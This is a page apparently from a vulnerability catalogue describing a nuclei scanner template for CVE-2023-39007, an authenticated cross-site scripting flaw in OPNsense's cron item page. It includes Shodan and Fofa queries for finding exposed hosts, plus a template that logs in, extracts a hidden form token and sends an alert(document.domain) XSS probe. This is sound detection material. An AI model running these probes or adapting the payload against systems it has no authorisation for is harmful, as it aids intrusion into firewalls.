SecurityContext

CVE-2023-39007: OPNsense - Cross-Site Scripting to RCE

  • Template: CVE-2023-39007
  • Name: OPNsense - Cross-Site Scripting to RCE
  • Description: There is a XSS in /ui/cron/item/open in the Cron component of OPNsense Community Edition before 23.7 and Business Edition before 23.4.2 via openAction in app/controllers/OPNsense/Cron/ItemController.php.
  • Impact: Authenticated attackers can inject malicious JavaScript through the Cron item opening functionality, potentially escalating to remote code execution and compromising the entire firewall/router system and network security.
  • Remediation: Update OPNsense Community Edition to version 23.7 or later, or Business Edition to version 23.4.2 or later that properly sanitizes input in the Cron ItemController.
  • Severity: critical
  • Authors: ritikchaddha
  • Tags: cve2023, cve, opnsense, xss, authenticated, rce, vuln
  • References: https://logicaltrust.net/blog/2023/08/opnsense.html, https://nvd.nist.gov/vuln/detail/CVE-2023-39007
  • Cves: CVE-2023-39007
  • Max requests: 3
  • Directory: http/cves
  • Path: http/cves/2023/CVE-2023-39007.yaml
  • Digest: 4a0a00473045022100e34fe28e8445d2b4bf9f04f873dddc1442107977bef03c7ab682d27d59c66a6e02206b31719e57b55420ac4bdb7281c3056771572e18d8a229c6d7f4791fb3dab64c
  • Created at: 2024-10-08T07:15:48Z
  • Updated at: 2026-11-24T02:03:42Z
  • Age in days: 777
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-39007.yaml
  • Checked, none or zero: verified

Classification

  • Cwe: CWE-79
  • Cvss score: 9.6
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
  • Epss score: 0.02608
  • Epss percentile: 0.85785
  • Cpe: cpe:2.3:a:opnsense:opnsense:*:*:*:*:*:*:*:*

Metadata

  • Fofa-query: title="opnsense"
  • Google-query: intitle:"opnsense"
  • Max-request: 3
  • Product: opnsense
  • Shodan-query: title:"OPNsense", http.title:"opnsense"
  • Vendor: opnsense

Products

ProductIndexedUrl
opnsense:opnsenseyes/v1/products/opnsense/opnsense

Labels

  • Name: OPNsense - Reflected XSS
  • Impact: Attackers can execute malicious scripts in the victim's browser, potentially leading to session hijacking or defacement.
  • Remediation: Update to version 23.7 for Community Edition and 23.4.2 for Business Edition or later.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Attacker needs victim to load the malicious link
  • Labels source: projectdiscovery
  • From cve: CVE-2023-39007

```yaml

id: CVE-2023-39007

info:

name: OPNsense - Cross-Site Scripting to RCE

author: ritikchaddha

severity: critical

description: |

There is a XSS in /ui/cron/item/open in the Cron component of OPNsense Community Edition before 23.7 and Business Edition before 23.4.2 via openAction in app/controllers/OPNsense/Cron/ItemController.php.

impact: |

Authenticated attackers can inject malicious JavaScript through the Cron item opening functionality, potentially escalating to remote code execution and compromising the entire firewall/router system and network security.

remediation: |

Update OPNsense Community Edition to version 23.7 or later, or Business Edition to version 23.4.2 or later that properly sanitizes input in the Cron ItemController.

reference:

- https://logicaltrust.net/blog/2023/08/opnsense.html

- https://nvd.nist.gov/vuln/detail/CVE-2023-39007

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

cvss-score: 9.6

cve-id: CVE-2023-39007

cwe-id: CWE-79

epss-score: 0.02608

epss-percentile: 0.85785

cpe: cpe:2.3:a:opnsense:opnsense:*:*:*:*:*:*:*:*

metadata:

max-request: 3

vendor: opnsense

product: opnsense

shodan-query:

- title:"OPNsense"

- http.title:"opnsense"

fofa-query: title="opnsense"

google-query: intitle:"opnsense"

tags: cve2023,cve,opnsense,xss,authenticated,rce,vuln

http:

- raw:

- |

GET / HTTP/1.1

Host: {{Hostname}}

- |

POST / HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

{{para}}={{value}}&usernamefld={{username}}&passwordfld={{password}}&login=1

- |

GET /ui/cron/item/open/0'+alert(document.domain)+' HTTP/1.1

Host: {{Hostname}}

matchers-condition: and

matchers:

- type: word

part: body_3

words:

- "openDialog('0'+alert(document.domain)+''"

- type: word

part: header_3

words:

- "text/html"

- type: status

status:

- 200

extractors:

- type: regex

name: para

part: body

group: 1

regex:

- 'type="hidden" name="([a-zA-Z0-9]+)" value="([A-Z0-9a-z]+)" autocomplete="'

internal: true

- type: regex

name: value

part: body

group: 2

regex:

- 'type="hidden" name="([a-zA-Z0-9]+)" value="([A-Z0-9a-z]+)" autocomplete="'

internal: true

digest: 4a0a00473045022100e34fe28e8445d2b4bf9f04f873dddc1442107977bef03c7ab682d27d59c66a6e02206b31719e57b55420ac4bdb7281c3056771572e18d8a229c6d7f4791fb3dab64c:922c64590222798bb761d5b6d8e72950

```